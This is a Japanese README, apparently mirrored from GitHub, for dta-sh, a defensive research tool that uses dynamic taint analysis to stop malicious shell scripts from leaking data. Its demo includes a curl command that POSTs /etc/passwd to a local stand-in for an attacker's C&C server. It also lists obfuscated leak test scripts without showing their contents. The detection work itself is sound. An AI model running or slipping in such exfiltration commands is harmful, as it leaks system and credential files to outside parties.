Giter Club home page Giter Club logo

dta-sh's Introduction

動的テイント解析を用いた悪性シェルスクリプトによる情報漏洩の阻止

dta-sh は動的テイント解析を用いて悪性シェルスクリプトによる情報漏洩を阻止するためのツール。 動的テイント解析にはlibdft64を用いる。

クイックスタート

/etc/passwdを外部に漏洩させるシェルスクリプトスクリプトの漏洩を阻止するデモ。 このシェルスクリプトはcurlコマンドを使用してPOSTリクエストで外部にファイルを送信する。 src/sendfile.shにある。

# 情報漏洩を行うコマンド
curl -X POST -F f=@"/etc/passwd" localhost:9999

ファイルの送信先(漏洩先)は自分自身とする。 本来localhost:9999の部分は攻撃者が用意するC&Cサーバのドメイン名であるが、漏洩させるファイルを自身で受け取るためここではlocalhostとなる。

デモの実行方法

環境は Ubuntu 20.04 LTS or 22.04 LTSで動作確認済み(WSL2でも動く)。

# 依存関係をインストール(初回のみ)
./setup.sh

# 環境変数(PIN_ROOT)を設定
source env.init

# POSTリクエストを受け取るHTTPサーバを起動
python3 server.py &

# dta-shをビルド
cd src
make

# デモを実行
make demo

ログがたくさん出て、最終的に[pid 93112] alert : !!!! ABORT !!!! Data leak detectedと出力されたらこのデモは成功。 うまく行かない場合はFAQを参照。

make demoを実行した際、デフォルトでは../script/default.shが使用される。 情報漏洩を行うスクリプトは他にもscript/下にあり、SCRIPT=<スクリプトのパス>を指定することでそのスクリプトを使用できる。

# スクリプトを指定してデモを実行
make demo SCRIPT=../script/pipeline.sh
# or
make demo SCRIPT=pipeline.sh

dta-shを使わない場合

作成したツール dta-sh を使わない場合どうなるか確認。 単にsendfile.shを実行する。

./sendfile.sh

先程サーバを起動したターミナルに戻ると、赤文字の/etc/passwdの内容が出力されているはず。 これはサーバが受け取ったデータで、POSTリクエストにより/etc/passwdの内容が漏洩した。

各ディレクトリ・ファイルの説明

.
├── pin-3.20-98437-gf02b61307-gcc-linux/        # libdft64の依存ライブラリ
├── pin-3.20-98437-gf02b61307-gcc-linux.tar.gz  # ↑の圧縮ファイル
├── libdft64/   # 動的テイント解析ライブラリ
├── README.md   # このファイル
├── env.init    # 環境変数(PIN_ROOT)の設定
├── script/                         # 評価用のスクリプト
│   ├── default.sh                  # 評価基準
│   ├── alias.sh                    # エイリアス
│   ├── variable-alias.sh           # 変数を使ったエイリアス
│   ├── ansi-c-quoting.sh           # 難読化:ANSI-C Quoting(Bashの機能)
│   ├── bashfuscator.sh             # 難読化:Bashfuscator(サイズ小)
│   ├── long-bashfuscator.sh        # 難読化:Bashfuscator(サイズ大)
│   ├── command-substitution-1.sh   # コマンド置換(変数経由)
│   ├── command-substitution-2.sh   # コマンド置換(引数へ直接)
│   ├── pipeline.sh                 # パイプ
│   ├── process-substitution.sh     # プロセス置換
│   └── redirecting-input.sh        # 入力リダイレクト
├── server.py   # POSTリクエストを受け取るHTTPサーバ
├── setup.sh    # セットアップファイル
└── src/                # ソースコード
    ├── dta-sh.cpp      # ツールの本体
    ├── dta-sh.h        # ヘッダファイル
    ├── Makefile        # ビルドスクリプト
    ├── makefile.rules  # ビルドスクリプト
    └── sendfile.sh     # 情報漏洩を行うシェルスクリプト

FAQ

エラーに関するものは起きたエラーがそのままタイトル。

Makefile:18: /Config/makefile.default.rules: No such file or directory

PIN_ROOTが設定されておらず、PinのMakefileが見つからない。 Pinのディレクトリを環境変数経由で教えてやる。

source env.init

dta-sh.cpp:58:15: error: unused variable 'sockfd' [-Werror=unused-variable]

Pintoolのコンパイルに-Werrorが有効なため、WarningがすべてErrorとして扱われる。 Pintoolのコンパイルオプションはpin-3.20-98437-gf02b61307-gcc-linux/source/tools/Config/makefile.unix.configで定義されているため、-Werrorを削除することでコンパイルが通る(WarningはWarningとして扱われる)。

- TOOL_CXXFLAGS_NOOPT := -Wall -Werror -Wno-unknown-pragmas -DPIN_CRT=1
+ TOOL_CXXFLAGS_NOOPT := -Wall -Wno-unknown-pragmas -DPIN_CRT=1

likely()/unlikely()

条件分岐を最適化するためにコンパイラに与えるヒント。 libdft64/src/branch_pred.hで定義されている。

ref. https://stackoverflow.com/questions/109710/how-do-the-likely-unlikely-macros-in-the-linux-kernel-work-and-what-is-their-ben

curl: (7) Failed to connect to localhost port 9999 after 468 ms: Connection refused

ローカルサーバが立っていない。 サーバを立ててやる。&はバックグラウンド実行の意味(Bashの機能)。

python3 server.py &

PIN_ROOTとは

libdft64にPinのパスを教えるための環境変数。 make時、libdft64はこの変数を読んでpin.Hなりの場所を知る。

ref. https://software.intel.com/sites/landingpage/pintool/docs/98650/Pin/doc/html/index.html#UsefulVariables

なぜMakefileとmakefile.rulesの2つがあるのか

Makefileは設定(ビルド用の変数CXX := g++など)を読み込む、ビルドレシピを読み込むファイル、 makefile.rulesはビルドするlibdft toolを定義するファイル。 Makefileは編集せず、makefile.rulesにのみビルドするlibdft toolを定義する。 変数などが隠されていて分かりにくい部分もあるが、libdft64/toolsのビルド方法をそのまま採用した。

libdft tool(dta-sh.cppなど)のビルドレシピの場所

libdft toolを作る場合は、明示的にツールのビルドレシピを定義しなくてよい。 makefile.rulesのTOOL_ROOTにビルドするツールのファイル名(の拡張子を取ったもの)を定義するだけ。 詳細なビルドレシピは別の場所で定義されていて隠されている。 例えば、dta-sh.cppというlibdft toolをビルドするためにはTOOL_ROOT := dta-shと定義する。 するとmakeを実行するだけでobj-intel64/dta-sh.soというファイルが生成される。

コールバック関数のTHREADIDとは

本ツールでは使わない。 THREADIDはPinのスレッドが使用するデータの配列へのインデックス。 ここでのスレッドはWinAPIのスレッドやPthreadsのスレッドではなく、Pinが管理するスレッド。

Pin also provides an analysis routine argument (IARG_THREAD_ID), which passes a Pin-specific thread ID for the calling thread. This ID is different from the O/S system thread ID, and is a small number starting at 0, which can be used as an index to an array of thread data or as the locking value to Pin user locks. See the example Instrumenting Threaded Applications for more information.

ref. https://software.intel.com/sites/landingpage/pintool/docs/98650/Pin/doc/html/index.html#MT

dta-sh's People

Contributors

uenojp avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.